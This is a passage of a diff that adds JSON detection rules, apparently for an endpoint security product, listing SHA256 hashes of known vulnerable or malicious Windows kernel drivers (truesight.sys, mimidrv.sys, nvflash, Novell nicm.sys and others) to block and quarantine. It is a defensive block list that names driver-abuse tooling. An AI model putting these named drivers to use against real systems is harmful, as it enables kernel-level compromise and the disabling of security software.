+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8765bbe7-d01c-5d0c-a550-5eaffb8d695a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144466Z",
+  "creation_date": "2026-03-23T11:45:32.144468Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144474Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a4c0e1bf3b397ebe5105a15dce686d7a171e01d5d4af32d67a8974de55afdf19",
+  "comment": "Vulnerable Kernel Driver (aka ProcObsrvesx.sys) [https://www.loldrivers.io/drivers/8a1a4a5d-3e41-4539-80cd-0cb751f7fab3/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "876a4c04-1093-5fb7-836a-867042eb9ce6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476243Z",
+  "creation_date": "2026-03-23T11:45:31.476247Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476257Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bc2aacf2a7b4759dc416c62215ec054bb5be0578758bf50af6bee4518aaf2da7",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "876cf23b-2226-5765-8990-6b5079cac3a9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474513Z",
+  "creation_date": "2026-03-23T11:45:31.474517Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474528Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6a0b6d3d6f5b0060b7b726aba2be928195eac02d9578bcb7bf0720f1253ea5d0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "87789c69-186d-55a7-a4eb-d32519aa3a42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143779Z",
+  "creation_date": "2026-03-23T11:45:32.143781Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143787Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "52b1c4667ef36a02a0e6d7f147b8d4bc0e30645e6c88bd2984e53abc693bc18e",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "87795b7a-f8f5-5a41-a1c3-d04dcb8c2299",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831420Z",
+  "creation_date": "2026-03-23T11:45:30.831422Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831428Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5a3114c8a786568a23ac21ae9199a46a87a55e9682e918b0592f8f9fbcb148f8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "877c8c2d-b1de-5e45-815a-f03f22f84101",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142862Z",
+  "creation_date": "2026-03-23T11:45:31.142864Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142881Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d831b59f2940fbe46b818dd685e80930f034b760efad477aa51d55ab67259ac3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8785b208-9372-502a-804f-27e88a73e044",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487106Z",
+  "creation_date": "2026-03-23T11:45:31.487108Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487114Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c8b755be6751be0ece9e353495220ab5fa3d8f3ea217062a3c74d247e47d07dd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "878b928a-0010-50a6-891f-c4f767faec7b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466468Z",
+  "creation_date": "2026-03-23T11:45:30.466471Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466480Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4b97d63ebdeda6941bb8cef5e94741c6cca75237ca830561f2262034805f0919",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "879b44d9-3e6a-50f0-93df-28fe5327a965",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.474615Z",
+  "creation_date": "2026-03-23T11:45:31.474619Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.474630Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ef5e7e4937163d52f8bbee079c2b72b8f614e7410e2d39fd2ac099e26ad210b6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "87a72ab2-2350-56bd-a439-a8a3c215d1f4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142808Z",
+  "creation_date": "2026-03-23T11:45:31.142810Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142816Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "381ae5f7cace085a6bd7d5eb084e05743195ff7a2c118f7dca7863b56e1e6c0f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "87b58a57-1f60-56a9-b382-a745c2279d22",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464543Z",
+  "creation_date": "2026-03-23T11:45:30.464546Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464555Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "31b66a57fae0cc28a6a236d72a35c8b6244f997e700f9464f9cbf800dbf8bee6",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "87c94aad-c20e-529c-a314-40d6a61b4276",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499828Z",
+  "creation_date": "2026-03-23T11:45:31.499831Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499840Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8f58bf2b14479b8ec6411cae7fd49b723ec191c9037d23266311ef3561c35c3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "87d2abd8-6bec-5761-9862-0742798dfc3d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830223Z",
+  "creation_date": "2026-03-23T11:45:30.830225Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830230Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "372f0918c7aeba23adbeefcea069a62712c16ce6738fb92905e29c00abf29b6c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "87e00e7f-59e8-5dd2-95fb-371a52f4ac09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976052Z",
+  "creation_date": "2026-03-23T11:45:29.976056Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976064Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d68410930319a6abf445708b9f7df300289cf9e52489f1701db76116f1ebd6a",
+  "comment": "SystemInformer driver (aka systeminformer.sys, formerly known as kprocesshacker.sys) [https://github.com/winsiderss/systeminformer] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "87e3903a-c7ba-5ce5-9cfe-5b71eec930ec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811152Z",
+  "creation_date": "2026-03-23T11:45:31.811154Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811159Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "61016707e83776e6e9f5f3468982e3e7c1761d598f73144ae10c7e1bdeb4a5b5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "87fd30f0-908e-5f53-a463-dc05fb640735",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618254Z",
+  "creation_date": "2026-03-23T11:45:29.618256Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618261Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b715d5682ab59a0ce3f858e47bf79bdf876a899f618c12c22b27cb1dd4daa8f4",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "880bf845-0725-55c6-a5bf-58ed08063a5a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487773Z",
+  "creation_date": "2026-03-23T11:45:31.487775Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487780Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "648e9acdbcf02ddcc157bbd5c3f85e2126e6f3e960f64477a3cb215c9fb59598",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "881d66cd-13e6-5bd6-b17f-63221ead8ec1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813703Z",
+  "creation_date": "2026-03-23T11:45:31.813705Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813711Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2138aada6d7a26cdcdc2781d52228e844866676523a402f2bdd091623e3cea43",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "88209b59-0823-52df-b02f-688d462fa5a3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829522Z",
+  "creation_date": "2026-03-23T11:45:31.829524Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829530Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4c0548e6b0f2d752bb4bd37f3afc8309f5df03adb0c4d21a21f779212b09a1c1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8828ff5b-525c-58e4-a444-81aad999aec5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811787Z",
+  "creation_date": "2026-03-23T11:45:31.811791Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811799Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d19d90002cf6cf5dcfb3bec1c26c8ca3513e8125cac6e6a260270648c657008d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "882b217e-1f68-535e-8f21-159da5e00e42",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984693Z",
+  "creation_date": "2026-03-23T11:45:29.984695Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984701Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd09931d050a354b34731621191795483930bb5f00aa6fba5bb849ea2c89224c",
+  "comment": "Vulnerable Kernel Driver (aka VBoxUSB.Sys) [https://www.loldrivers.io/drivers/5938df1d-9513-449f-8252-c442ddca0c2a/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "882e1aee-45ef-5e83-89a6-1c894eba1534",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609650Z",
+  "creation_date": "2026-03-23T11:45:29.609652Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609657Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6c7120e40fc850e4715058b233f5ad4527d1084a909114fd6a36b7b7573c4a44",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8830abbd-8d78-5d8e-991c-660edc6ff5f6",
+  "test_maturity_current_count": 0,
